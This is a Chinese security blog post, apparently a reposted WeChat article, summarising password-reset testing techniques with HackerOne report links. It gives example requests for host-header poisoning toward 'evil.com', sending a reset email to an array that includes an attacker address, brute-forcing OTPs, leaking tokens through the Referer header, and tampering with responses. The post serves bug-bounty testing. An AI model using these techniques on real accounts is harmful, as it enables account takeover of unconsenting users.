密码重置测试小结

admin 2022年7月8日05:18:05评论135 views字数 1361阅读4分32秒阅读模式

前言

实现密码重置功能的常见方法:

  1. 发送带有唯一 URL 的电子邮件以重置密码

2.使用临时密码或当前密码发送的电子邮件 

3.询问私密问题,然后提供重置密码的选项

4.使用 OTP(一次性密码)或多因素身份验证

密码重置功能的利用

主机头中毒导致令牌泄露

1.攻击者修改请求的主机头(host header),将目标的密码重置为自己的域。

GET https://redacted.com/[email protected] HTTP/1.1
host: evil.com

点击重置链接。由于该链接是由主机头组成的,所以它会链接到攻击者的网站。当目标访问此站点时,他们的密码重置令牌被发送给攻击者。攻击者现在使用他们的密码重置令牌重置目标的密码。https://hackerone.com/reports/182670
https://hackerone.com/reports/226659 https://hackerone.com/reports/698416

发送多个电子邮件而不是单个

在这种攻击中,攻击者可以通过发送一系列电子邮件地址而不是单个电子邮件地址来向任意电子邮件发送密码重置链接,这可能导致完全帐户接管。

POST https://example.com/api/v1/password_reset HTTP/1.1

原始请求正文:

{“email_address”:“ [email protected] ”}

修改后的请求正文:

{“email_address”:[“ [email protected] ”,” [email protected] ”]}

通过这种方式,密码重置链接会同时发送给受害者和攻击者。攻击者可以使用它来获得完全帐户接管。 

相关报告与参考:

https://hackerone.com/reports/322985

密码重置测试小结

暴力破解OTP重置密码

现在,应用程序的密码重置功能可能是基于 OTP 验证的。许多程序接受无速率限制作为可接受的风险。所以,暴力破解 OTP 值得一试。

您可以通过拦截 OTP 验证请求并暴力破解 6 位数字来重置帐户密码。使用它,可以通过更改用户数据和强制重置 OTP 来更改和重置任何帐户的密码。

密码重置测试小结

https://hackerone.com/reports/743545 https://hackerone.com/reports/280389

通过Referrer发现密码重置token

HTTP引用是一个可选的HTTP报头字段,它标识链接到所请求资源的网页的地址。Referer请求头包含指向当前请求页面的链接所跟随的前一个网页的地址。(就是从哪个链接来访问当前这个网页地址的)

密码重置测试小结

相关报告: https://hackerone.com/reports/342693

用正常的响应来替代不正常的响应

例子: 有一个响应是这样的:

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

将其改为:

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)


原文始发于微信公众号(迪哥讲事):密码重置测试小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日05:18:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   密码重置测试小结http://cn-sec.com/archives/1162950.html

发表评论

匿名网友 填写信息